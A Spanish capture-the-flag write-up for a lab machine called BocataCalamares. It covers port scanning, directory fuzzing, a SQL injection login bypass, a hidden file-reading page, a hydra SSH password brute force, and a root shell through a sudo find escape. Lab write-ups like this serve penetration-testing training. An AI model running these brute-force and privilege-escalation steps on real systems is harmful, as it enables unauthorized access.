BocataCalamares

Enumeration

Vamos a empezar con un escaneo nmap:

┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ nmap -p- --open -sS --min-rate=5000 -n -Pn -vvv 192.168.44.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 13:02 CEST
Initiating ARP Ping Scan at 13:02
Scanning 192.168.44.130 [1 port]
Completed ARP Ping Scan at 13:02, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:02
Scanning 192.168.44.130 [65535 ports]
Discovered open port 80/tcp on 192.168.44.130
Discovered open port 22/tcp on 192.168.44.130
Completed SYN Stealth Scan at 13:02, 0.86s elapsed (65535 total ports)
Nmap scan report for 192.168.44.130
Host is up, received arp-response (0.000056s latency).
Scanned at 2025-07-19 13:02:58 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:6B:B7:3D (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Vale ahora vamos a realizar un segundo escaneo para ver que servicios y versiones corren en ellos:

┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ nmap -p22,80 -sCV 192.168.44.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 13:03 CEST
Nmap scan report for 192.168.44.130
Host is up (0.00015s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a6:3f:47:73:4c:6d:b3:23:29:fa:f8:1f:1d:42:44:b9 (ECDSA)
|_  256 11:b8:dc:df:a9:c1:9f:b5:8f:55:93:a4:ef:65:c8:d5 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: AFN
|_http-server-header: nginx/1.24.0 (Ubuntu)
MAC Address: 00:0C:29:6B:B7:3D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds

Bien, vamos a acceder a la aplicación web:

Vemos que es una aplicación web simple donde no hay gran cosa a simple vista ni a nivel de código fuente. Vamos a realizar fuzzing:

┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.44.130/FUZZ" -e .php,.html,.txt,.js

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.44.130/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php .html .txt .js
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

images                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 1ms]
index.php               [Status: 200, Size: 4145, Words: 898, Lines: 96, Duration: 5ms]
login.php               [Status: 200, Size: 2543, Words: 743, Lines: 98, Duration: 3ms]
admin.php               [Status: 200, Size: 359, Words: 22, Lines: 14, Duration: 2ms]

Vemos un login.php y admin.php, vamos al login.php:

Shell as superadministrator

Vemos un mensaje que dice Página en desarrollo, no entrar !!!, vamos a probar un SQLi:

test'

Vemos que se acontece el error de la consulta y nos muestra el propio error, posiblemente la query que emplee sea como la siguiente:

SELECT * FROM users WHERE username = '$input_name' AND password = '$input_password';

Vemos que podría usar el operador AND lo que significa que ambas condiciones tienen que devolver true, pero… y si comentamos la parte del AND y añadimos un operador OR?

Si realizamos eso la consulta sería:

Esto ocasionará una modificación de lógica de la consulta devolviendo true ya que si el usuario no es válido devolverá false pero como 1=1 siempre devolverá true y el operador OR devuelve la consulta true si al menos una de ambas condiciones lo devuelve (como es el caso).

Así que como resultado será un bypass de la autentificación:

Bien leyendo un poco lo que hay en la web vi una redirección a un archivo llamado todo-list.php:

Vemos el siguiente mensaje:

  • He creado una nueva página para poder leer los ficheros internos del servidor, cada día soy un mejor programador. Además he codificado su nombre en base64, así nadie podrá dar con ella (lee_archivos).

Comenta que ha codificado en base64 el nombre del archivo, entre parentesis nos dan el nombre leer_archivos vamos a codificarlo y probar:

┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ echo "lee_archivos" | base64
bGVlX2FyY2hpdm9zCg==

Vamos a probar a apuntar a un archivo llamado bGVlX2FyY2hpdm9zCg==.php:

Bien!! Vemos que nos indica que podemos buscar y leer cualquier archivo de la máquina, vamos a probar el /etc/passwd:

Vemos que funciona, vamos a intentar ver si podemos leer el id_rsa del usuario superadministrator:

No podemos, vamos intentar hacerle fuerza bruta por el SSH a superadministrator. Para ello emplearemos hydra:

┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ hydra -l superadministrator -P /usr/share/wordlists/rockyou.txt ssh://192.168.44.130
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-19 13:34:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.44.130:22/
[22][ssh] host: 192.168.44.130   login: superadministrator   password: princesa
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-19 13:34:29

Bien!! Tenemos sus credenciales, vamos a iniciar sesión por SSH:

┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ ssh superadministrator@192.168.44.130
superadministrator@192.168.44.130's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-51-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jul 19 11:35:55 AM UTC 2025

  System load:  0.02               Processes:              218
  Usage of /:   14.6% of 49.21GB   Users logged in:        0
  Memory usage: 39%                IPv4 address for ens33: 192.168.44.130
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jul 19 10:58:52 2025 from 192.168.44.128
superadministrator@thehackerslabs-bocatacalamares:~$

Shell as root

Si hacemos un ls podremos ver el siguiente archivo:

superadministrator@thehackerslabs-bocatacalamares:~$ ls
flag.txt  recordatorio.txt

Vamos a leer recordatorio.txt:

superadministrator@thehackerslabs-bocatacalamares:~$ cat recordatorio.txt
Me han dicho que existe una pagina llamada gtfobins muy util para ctfs, la dejo aquí apuntada para recordarlo mas adelante.

Vamos a hacer un sudo -l para ver si tenemos algún tipo de permiso sudoers:

superadministrator@thehackerslabs-bocatacalamares:~$ sudo -l
Matching Defaults entries for superadministrator on thehackerslabs-bocatacalamares:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User superadministrator may run the following commands on thehackerslabs-bocatacalamares:
    (ALL) NOPASSWD: /usr/bin/find

Vamos a seguir lo indicado en GTFObins:

superadministrator@thehackerslabs-bocatacalamares:~$ sudo find . -exec /bin/bash \; -quit
root@thehackerslabs-bocatacalamares:/home/superadministrator# whoami
root

root! ;)